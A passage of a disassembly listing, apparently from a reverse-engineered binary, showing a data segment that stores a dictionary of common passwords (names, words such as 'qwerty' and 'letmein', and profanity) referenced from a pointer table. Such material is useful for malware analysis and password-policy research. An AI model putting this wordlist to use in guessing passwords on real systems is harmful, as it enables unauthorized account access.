aRebecca	db 'rebecca',0          ; DATA XREF: seg002:0042D664o
aRebal		db 'rebal',0            ; DATA XREF: seg002:0042D660o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: seg002:0042D65Co
		align 10h
aReam		db 'ream',0             ; DATA XREF: seg002:0042D658o
		align 4
aReally		db 'really',0           ; DATA XREF: seg002:0042D654o
		align 10h
aReality	db 'reality',0          ; DATA XREF: seg002:0042D650o
aReagan		db 'reagan',0           ; DATA XREF: seg002:0042D64Co
		align 10h
aRazor		db 'razor',0            ; DATA XREF: seg002:0042D648o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: seg002:0042D644o
		align 10h
aRape		db 'rape',0             ; DATA XREF: seg002:0042D640o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: seg002:0042D638o
aRaindrop	db 'raindrop',0         ; DATA XREF: seg002:0042D634o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: seg002:0042D630o
aRain		db 'rain',0             ; DATA XREF: seg002:0042D62Co
		align 4
aRaid		db 'raid',0             ; DATA XREF: seg002:0042D628o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: seg002:0042D624o
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: seg002:0042D620o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: seg002:0042D61Co
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: seg002:0042D618o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: seg002:0042D614o
					; seg002:0042E36Co
		align 4
aQwert		db 'qwert',0            ; DATA XREF: seg002:0042D610o
					; seg002:0042E368o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: seg002:0042D60Co
		align 4
aPussy		db 'pussy',0            ; DATA XREF: seg002:0042D608o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: seg002:0042D604o
		align 4
aPunk		db 'punk',0             ; DATA XREF: seg002:0042D600o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: seg002:0042D5FCo
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: seg002:0042D5F8o
		align 10h
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg002:0042D5F4o
aPuke		db 'puke',0             ; DATA XREF: seg002:0042D5F0o
		align 10h
aPuck		db 'puck',0             ; DATA XREF: seg002:0042D5ECo
		align 4
aPublic		db 'public',0           ; DATA XREF: seg002:0042D5E8o
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: seg002:0042D5E4o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: seg002:0042D5E0o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: seg002:0042D5DCo
		align 10h
aProtect	db 'protect',0          ; DATA XREF: seg002:0042D5D8o
aPrompt		db 'prompt',0           ; DATA XREF: seg002:0042D5D4o
		align 10h
aProgram	db 'program',0          ; DATA XREF: seg002:0042D5D0o
aProfile	db 'profile',0          ; DATA XREF: seg002:0042D5CCo
aProfesso	db 'professo',0         ; DATA XREF: seg002:0042D5C8o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: seg002:0042D5C4o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: seg002:0042D5C0o
aPrivs		db 'privs',0            ; DATA XREF: seg002:0042D5BCo
		align 4
aPrivate	db 'private',0          ; DATA XREF: seg002:0042D5B8o
aPriv		db 'priv',0             ; DATA XREF: seg002:0042D5B4o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: seg002:0042D5B0o
aPrinceto	db 'princeto',0         ; DATA XREF: seg002:0042D5ACo
		align 4
aPrince		db 'prince',0           ; DATA XREF: seg002:0042D5A8o
		align 4
aPresto		db 'presto',0           ; DATA XREF: seg002:0042D5A4o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: seg002:0042D5A0o
aPrecious	db 'precious',0         ; DATA XREF: seg002:0042D59Co
		align 10h
aPraise		db 'praise',0           ; DATA XREF: seg002:0042D598o
		align 4
aPower		db 'power',0            ; DATA XREF: seg002:0042D594o
		align 10h
aPoster		db 'poster',0           ; DATA XREF: seg002:0042D590o
		align 4
aPost		db 'post',0             ; DATA XREF: seg002:0042D58Co
		align 10h
aPorsche	db 'porsche',0          ; DATA XREF: seg002:0042D588o
aPorno		db 'porno',0            ; DATA XREF: seg002:0042D584o
		align 10h
aPorn		db 'porn',0             ; DATA XREF: seg002:0042D580o
		align 4
aPork		db 'pork',0             ; DATA XREF: seg002:0042D57Co
		align 10h
aPoor		db 'poor',0             ; DATA XREF: seg002:0042D578o
		align 4
aPoop		db 'poop',0             ; DATA XREF: seg002:0042D574o
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: seg002:0042D570o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: seg002:0042D56Co
		align 4
aPolly		db 'polly',0            ; DATA XREF: seg002:0042D568o
		align 10h
aPolice		db 'police',0           ; DATA XREF: seg002:0042D564o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: seg002:0042D560o
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: seg002:0042D55Co
		align 4
aPluto		db 'pluto',0            ; DATA XREF: seg002:0042D558o
		align 4
aPlover		db 'plover',0           ; DATA XREF: seg002:0042D554o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: seg002:0042D550o
aPlane		db 'plane',0            ; DATA XREF: seg002:0042D54Co
		align 4
aPizza		db 'pizza',0            ; DATA XREF: seg002:0042D548o
		align 4
aPiss		db 'piss',0             ; DATA XREF: seg002:0042D544o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: seg002:0042D540o
aPimp		db 'pimp',0             ; DATA XREF: seg002:0042D53Co
		align 4
aPierre		db 'pierre',0           ; DATA XREF: seg002:0042D538o
		align 4
aPick		db 'pick',0             ; DATA XREF: seg002:0042D534o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: seg002:0042D530o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: seg002:0042D52Co
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: seg002:0042D528o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: seg002:0042D524o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: seg002:0042D520o
		align 4
aPhone		db 'phone',0            ; DATA XREF: seg002:0042D51Co
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: seg002:0042D518o
aPhilip		db 'philip',0           ; DATA XREF: seg002:0042D514o
		align 4
aPhil		db 'phil',0             ; DATA XREF: seg002:0042D510o
		align 4
aPeter		db 'peter',0            ; DATA XREF: seg002:0042D50Co
		align 4
aPete		db 'pete',0             ; DATA XREF: seg002:0042D508o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: seg002:0042D504o
aPersona	db 'persona',0          ; DATA XREF: seg002:0042D500o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg002:0042D4FCo
		align 10h
aPermit		db 'permit',0           ; DATA XREF: seg002:0042D4F8o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: seg002:0042D4F4o
aPercolat	db 'percolat',0         ; DATA XREF: seg002:0042D4F0o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: seg002:0042D4ECo
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: seg002:0042D4E8o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: seg002:0042D4E4o
aPenthous	db 'penthous',0         ; DATA XREF: seg002:0042D4E0o
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: seg002:0042D4DCo
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: seg002:0042D4D8o
		align 4
aPenname	db 'penname',0          ; DATA XREF: seg002:0042D4D4o
aPenis		db 'penis',0            ; DATA XREF: seg002:0042D4D0o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: seg002:0042D4CCo
aPenelope	db 'penelope',0         ; DATA XREF: seg002:0042D4C8o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: seg002:0042D4C4o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: seg002:0042D4C0o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: seg002:0042D4BCo
aPaula		db 'paula',0            ; DATA XREF: seg002:0042D4B8o
		align 4
aPatty		db 'patty',0            ; DATA XREF: seg002:0042D4B4o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: seg002:0042D4B0o
aPatricia	db 'patricia',0         ; DATA XREF: seg002:0042D4ACo
		align 4
aPaste		db 'paste',0            ; DATA XREF: seg002:0042D4A8o
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: seg002:0042D4A4o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: seg002:0042D4A0o
		align 4
aPapers		db 'papers',0           ; DATA XREF: seg002:0042D49Co
		align 4
aPaper		db 'paper',0            ; DATA XREF: seg002:0042D498o
		align 4
aPapa		db 'papa',0             ; DATA XREF: seg002:0042D494o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: seg002:0042D490o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: seg002:0042D48Co
		align 10h
aPaint		db 'paint',0            ; DATA XREF: seg002:0042D488o
		align 4
aPainless	db 'painless',0         ; DATA XREF: seg002:0042D484o
		align 4
aPacker		db 'packer',0           ; DATA XREF: seg002:0042D480o
		align 4
aPackard	db 'packard',0          ; DATA XREF: seg002:0042D47Co
aPacific	db 'pacific',0          ; DATA XREF: seg002:0042D478o
aOxford		db 'oxford',0           ; DATA XREF: seg002:0042D474o
		align 4
aOutside	db 'outside',0          ; DATA XREF: seg002:0042D470o
aOutput		db 'output',0           ; DATA XREF: seg002:0042D46Co
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: seg002:0042D468o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: seg002:0042D464o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: seg002:0042D460o
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: seg002:0042D45Co
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: seg002:0042D458o
		align 10h
aOrient		db 'orient',0           ; DATA XREF: seg002:0042D454o
		align 4
aOrca		db 'orca',0             ; DATA XREF: seg002:0042D450o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: seg002:0042D44Co
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: seg002:0042D448o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: seg002:0042D444o
		align 4
aOpening	db 'opening',0          ; DATA XREF: seg002:0042D440o
aOmega		db 'omega',0            ; DATA XREF: seg002:0042D438o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: seg002:0042D434o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: seg002:0042D430o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: seg002:0042D42Co
		align 10h
aOkay		db 'okay',0             ; DATA XREF: seg002:0042D428o
		align 4
aOffice		db 'office',0           ; DATA XREF: seg002:0042D424o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: seg002:0042D420o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg002:0042D41Co
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: seg002:0042D418o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: seg002:0042D414o
aNuts		db 'nuts',0             ; DATA XREF: seg002:0042D410o
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: seg002:0042D40Co
		align 4
aNumber		db 'number',0           ; DATA XREF: seg002:0042D408o
		align 4
aNull_1		db 'null',0             ; DATA XREF: seg002:0042D404o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: seg002:0042D400o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: seg002:0042D3FCo
		align 4
aNude		db 'nude',0             ; DATA XREF: seg002:0042D3F8o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: seg002:0042D3F4o
aNoxious	db 'noxious',0          ; DATA XREF: seg002:0042D3F0o
aNovember	db 'november',0         ; DATA XREF: seg002:0042D3ECo
		align 10h
aNovel		db 'novel',0            ; DATA XREF: seg002:0042D3E8o
		align 4
aNova		db 'nova',0             ; DATA XREF: seg002:0042D3E4o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: seg002:0042D3E0o
		align 4
aNotes		db 'notes',0            ; DATA XREF: seg002:0042D3DCo
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: seg002:0042D3D8o
		align 4
aNode		db 'node',0             ; DATA XREF: seg002:0042D3D4o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: seg002:0042D3D0o
		align 4
aNoble		db 'noble',0            ; DATA XREF: seg002:0042D3CCo
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg002:0042D3C8o
		align 4
aNita		db 'nita',0             ; DATA XREF: seg002:0042D3C4o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: seg002:0042D3C0o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: seg002:0042D3BCo
		align 4
aNight		db 'night',0            ; DATA XREF: seg002:0042D3B8o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: seg002:0042D3B4o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: seg002:0042D3B0o
		align 4
aNice		db 'nice',0             ; DATA XREF: seg002:0042D3ACo
		align 4
aNext		db 'next',0             ; DATA XREF: seg002:0042D3A8o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: seg002:0042D3A4o
aNewton		db 'newton',0           ; DATA XREF: seg002:0042D3A0o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg002:0042D39Co
		align 10h
aNews		db 'news',0             ; DATA XREF: seg002:0042D398o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: seg002:0042D394o
aNetwork_0	db 'network',0          ; DATA XREF: seg002:0042D390o
aNetscape	db 'netscape',0         ; DATA XREF: seg002:0042D38Co
		align 4
aNess		db 'ness',0             ; DATA XREF: seg002:0042D388o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: seg002:0042D384o
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg002:0042D380o
		align 10h
aNavy		db 'navy',0             ; DATA XREF: seg002:0042D37Co
		align 4
aNasa		db 'nasa',0             ; DATA XREF: seg002:0042D378o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: seg002:0042D374o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: seg002:0042D370o
		align 4
aName		db 'name',0             ; DATA XREF: seg002:0042D36Co
		align 4
aNagel		db 'nagel',0            ; DATA XREF: seg002:0042D368o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: seg002:0042D364o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: seg002:0042D360o
aMsdos		db 'msdos',0            ; DATA XREF: seg002:0042D35Co
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: seg002:0042D358o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: seg002:0042D354o
		align 4
aMovies		db 'movies',0           ; DATA XREF: seg002:0042D350o
		align 4
aMovie		db 'movie',0            ; DATA XREF: seg002:0042D34Co
		align 4
aMove		db 'move',0             ; DATA XREF: seg002:0042D348o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: seg002:0042D344o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: seg002:0042D340o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: seg002:0042D33Co
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: seg002:0042D338o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: seg002:0042D334o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: seg002:0042D330o
		align 10h
aMorris		db 'morris',0           ; DATA XREF: seg002:0042D32Co
		align 4
aMorley		db 'morley',0           ; DATA XREF: seg002:0042D328o
		align 10h
aMore		db 'more',0             ; DATA XREF: seg002:0042D324o
		align 4
aMoose		db 'moose',0            ; DATA XREF: seg002:0042D320o
		align 10h
aMoor		db 'moor',0             ; DATA XREF: seg002:0042D31Co
		align 4
aMoom		db 'moom',0             ; DATA XREF: seg002:0042D318o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: seg002:0042D314o
		align 4
aMonday		db 'monday',0           ; DATA XREF: seg002:0042D310o
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: seg002:0042D30Co
		align 4
aMogul		db 'mogul',0            ; DATA XREF: seg002:0042D308o
		align 10h
aModem		db 'modem',0            ; DATA XREF: seg002:0042D304o
		align 4
aMode		db 'mode',0             ; DATA XREF: seg002:0042D300o
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: seg002:0042D2FCo
		align 4
aMission	db 'mission',0          ; DATA XREF: seg002:0042D2F8o
aMisfit		db 'misfit',0           ; DATA XREF: seg002:0042D2F4o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: seg002:0042D2F0o
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: seg002:0042D2ECo
aMine		db 'mine',0             ; DATA XREF: seg002:0042D2E8o
		align 10h
aMike		db 'mike',0             ; DATA XREF: seg002:0042D2E4o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: seg002:0042D2E0o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: seg002:0042D2DCo
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: seg002:0042D2D8o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: seg002:0042D2D4o
		align 4
aMicro		db 'micro',0            ; DATA XREF: seg002:0042D2D0o
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: seg002:0042D2CCo
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: seg002:0042D2C8o
		align 4
aMichele	db 'michele',0          ; DATA XREF: seg002:0042D2C4o
aMichelan	db 'michelan',0         ; DATA XREF: seg002:0042D2C0o
		align 4
aMichel		db 'michel',0           ; DATA XREF: seg002:0042D2BCo
		align 10h
aMichael	db 'michael',0          ; DATA XREF: seg002:0042D2B8o
aMice		db 'mice',0             ; DATA XREF: seg002:0042D2B4o
		align 10h
aMets		db 'mets',0             ; DATA XREF: seg002:0042D2B0o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: seg002:0042D2ACo
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: seg002:0042D2A8o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: seg002:0042D2A4o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: seg002:0042D2A0o
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: seg002:0042D29Co
aMenu		db 'menu',0             ; DATA XREF: seg002:0042D298o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: seg002:0042D294o
		align 4
aMemory		db 'memory',0           ; DATA XREF: seg002:0042D290o
		align 10h
aMember		db 'member',0           ; DATA XREF: seg002:0042D28Co
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: seg002:0042D288o
aMellon		db 'mellon',0           ; DATA XREF: seg002:0042D284o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: seg002:0042D280o
aMegan		db 'megan',0            ; DATA XREF: seg002:0042D27Co
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: seg002:0042D278o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: seg002:0042D274o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: seg002:0042D270o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: seg002:0042D26Co
aMath		db 'math',0             ; DATA XREF: seg002:0042D268o
		align 4
aMaster		db 'master',0           ; DATA XREF: seg002:0042D264o
		align 10h
aMason		db 'mason',0            ; DATA XREF: seg002:0042D260o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg002:0042D25Co
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: seg002:0042D258o
		align 4
aMarty		db 'marty',0            ; DATA XREF: seg002:0042D254o
		align 10h
aMars		db 'mars',0             ; DATA XREF: seg002:0042D250o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: seg002:0042D24Co
		align 4
aMarni		db 'marni',0            ; DATA XREF: seg002:0042D248o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: seg002:0042D244o
		align 4
aMark		db 'mark',0             ; DATA XREF: seg002:0042D240o
		align 4
aMarines	db 'marines',0          ; DATA XREF: seg002:0042D23Co
aMarijuan	db 'marijuan',0         ; DATA XREF: seg002:0042D238o
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: seg002:0042D234o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: seg002:0042D230o
aMaria		db 'maria',0            ; DATA XREF: seg002:0042D22Co
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: seg002:0042D228o
		align 4
aMarci		db 'marci',0            ; DATA XREF: seg002:0042D224o
		align 4
aMara		db 'mara',0             ; DATA XREF: seg002:0042D220o
		align 4
aManager	db 'manager',0          ; DATA XREF: seg002:0042D21Co
aMana		db 'mana',0             ; DATA XREF: seg002:0042D218o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: seg002:0042D214o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: seg002:0042D210o
aMaint		db 'maint',0            ; DATA XREF: seg002:0042D20Co
		align 4
aMail		db 'mail',0             ; DATA XREF: seg002:0042D208o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: seg002:0042D204o
		align 4
aMagic		db 'magic',0            ; DATA XREF: seg002:0042D200o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: seg002:0042D1FCo
		align 4
aMacro		db 'macro',0            ; DATA XREF: seg002:0042D1F8o
		align 4
aMack		db 'mack',0             ; DATA XREF: seg002:0042D1F4o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: seg002:0042D1F0o
		align 4
aMachine	db 'machine',0          ; DATA XREF: seg002:0042D1ECo
aLynne		db 'lynne',0            ; DATA XREF: seg002:0042D1E8o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: seg002:0042D1E4o
		align 10h
aLust		db 'lust',0             ; DATA XREF: seg002:0042D1E0o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg002:0042D1DCo
		align 10h
aLude		db 'lude',0             ; DATA XREF: seg002:0042D1D8o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: seg002:0042D1D4o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: seg002:0042D1D0o
		align 4
aLuck		db 'luck',0             ; DATA XREF: seg002:0042D1CCo
		align 10h
aLover		db 'lover',0            ; DATA XREF: seg002:0042D1C8o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: seg002:0042D1C4o
aLouis		db 'louis',0            ; DATA XREF: seg002:0042D1C0o
		align 4
aLoser		db 'loser',0            ; DATA XREF: seg002:0042D1BCo
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: seg002:0042D1B8o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: seg002:0042D1B4o
		align 4
aLori		db 'lori',0             ; DATA XREF: seg002:0042D1B0o
		align 4
aLore		db 'lore',0             ; DATA XREF: seg002:0042D1ACo
		align 4
aLoose		db 'loose',0            ; DATA XREF: seg002:0042D1A8o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: seg002:0042D1A4o
		align 4
aLois		db 'lois',0             ; DATA XREF: seg002:0042D1A0o
		align 4
aLogout		db 'logout',0           ; DATA XREF: seg002:0042D19Co
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: seg002:0042D198o
		align 10h
aLogic		db 'logic',0            ; DATA XREF: seg002:0042D194o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: seg002:0042D190o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: seg002:0042D18Co
aLock		db 'lock',0             ; DATA XREF: seg002:0042D188o
		align 4
aLoad		db 'load',0             ; DATA XREF: seg002:0042D184o
		align 4
aLive		db 'live',0             ; DATA XREF: seg002:0042D180o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: seg002:0042D17Co
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: seg002:0042D178o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: seg002:0042D174o
		align 10h
aLips		db 'lips',0             ; DATA XREF: seg002:0042D170o
		align 4
aLion		db 'lion',0             ; DATA XREF: seg002:0042D16Co
		align 10h
aLink		db 'link',0             ; DATA XREF: seg002:0042D168o
		align 4
aLinda		db 'linda',0            ; DATA XREF: seg002:0042D164o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: seg002:0042D160o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg002:0042D15Co
		align 4
aLima		db 'lima',0             ; DATA XREF: seg002:0042D158o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: seg002:0042D154o
		align 4
aLight		db 'light',0            ; DATA XREF: seg002:0042D150o
		align 10h
aLife		db 'life',0             ; DATA XREF: seg002:0042D14Co
		align 4
aLicker		db 'licker',0           ; DATA XREF: seg002:0042D148o
		align 10h
aLick		db 'lick',0             ; DATA XREF: seg002:0042D144o
		align 4
aLibrary	db 'library',0          ; DATA XREF: seg002:0042D140o
aLiberal	db 'liberal',0          ; DATA XREF: seg002:0042D13Co
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg002:0042D138o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: seg002:0042D134o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: seg002:0042D130o
aLeslie		db 'leslie',0           ; DATA XREF: seg002:0042D12Co
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: seg002:0042D128o
aLeroy		db 'leroy',0            ; DATA XREF: seg002:0042D124o
		align 4
aLeland		db 'leland',0           ; DATA XREF: seg002:0042D120o
		align 4
aLegal		db 'legal',0            ; DATA XREF: seg002:0042D11Co
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: seg002:0042D118o
		align 4
aLeft		db 'left',0             ; DATA XREF: seg002:0042D114o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg002:0042D110o
		align 4
aLeah		db 'leah',0             ; DATA XREF: seg002:0042D10Co
		align 4
aLazer		db 'lazer',0            ; DATA XREF: seg002:0042D108o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: seg002:0042D104o
aLava		db 'lava',0             ; DATA XREF: seg002:0042D100o
		align 4
aLaura		db 'laura',0            ; DATA XREF: seg002:0042D0FCo
		align 4
aLaser		db 'laser',0            ; DATA XREF: seg002:0042D0F8o
		align 4
aLarry		db 'larry',0            ; DATA XREF: seg002:0042D0F4o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: seg002:0042D0F0o
		align 4
aLara		db 'lara',0             ; DATA XREF: seg002:0042D0ECo
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: seg002:0042D0E8o
		align 4
aLana		db 'lana',0             ; DATA XREF: seg002:0042D0E4o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: seg002:0042D0E0o
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: seg002:0042D0DCo
		align 4
aLakers		db 'lakers',0           ; DATA XREF: seg002:0042D0D8o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: seg002:0042D0D4o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: seg002:0042D0D0o
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: seg002:0042D0CCo
		align 4
aKristine	db 'kristine',0         ; DATA XREF: seg002:0042D0C8o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: seg002:0042D0C4o
aKristie	db 'kristie',0          ; DATA XREF: seg002:0042D0C0o
aKristi		db 'kristi',0           ; DATA XREF: seg002:0042D0BCo
		align 4
aKristen	db 'kristen',0          ; DATA XREF: seg002:0042D0B8o
aKrista		db 'krista',0           ; DATA XREF: seg002:0042D0B4o
		align 4
aKnown		db 'known',0            ; DATA XREF: seg002:0042D0B0o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: seg002:0042D0ACo
		align 10h
aKnight		db 'knight',0           ; DATA XREF: seg002:0042D0A8o
		align 4
aKnife		db 'knife',0            ; DATA XREF: seg002:0042D0A4o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: seg002:0042D0A0o
aKitten		db 'kitten',0           ; DATA XREF: seg002:0042D09Co
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: seg002:0042D098o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: seg002:0042D094o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: seg002:0042D090o
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: seg002:0042D08Co
		align 4
aKing		db 'king',0             ; DATA XREF: seg002:0042D088o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: seg002:0042D084o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: seg002:0042D080o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: seg002:0042D07Co
		align 10h
aKill		db 'kill',0             ; DATA XREF: seg002:0042D078o
		align 4
aKids		db 'kids',0             ; DATA XREF: seg002:0042D074o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: seg002:0042D070o
aKeyin		db 'keyin',0            ; DATA XREF: seg002:0042D06Co
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: seg002:0042D068o
aKewl		db 'kewl',0             ; DATA XREF: seg002:0042D064o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: seg002:0042D060o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: seg002:0042D05Co
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: seg002:0042D058o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: seg002:0042D054o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: seg002:0042D050o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg002:0042D04Co
		align 10h
aKeri		db 'keri',0             ; DATA XREF: seg002:0042D048o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: seg002:0042D044o
		align 10h
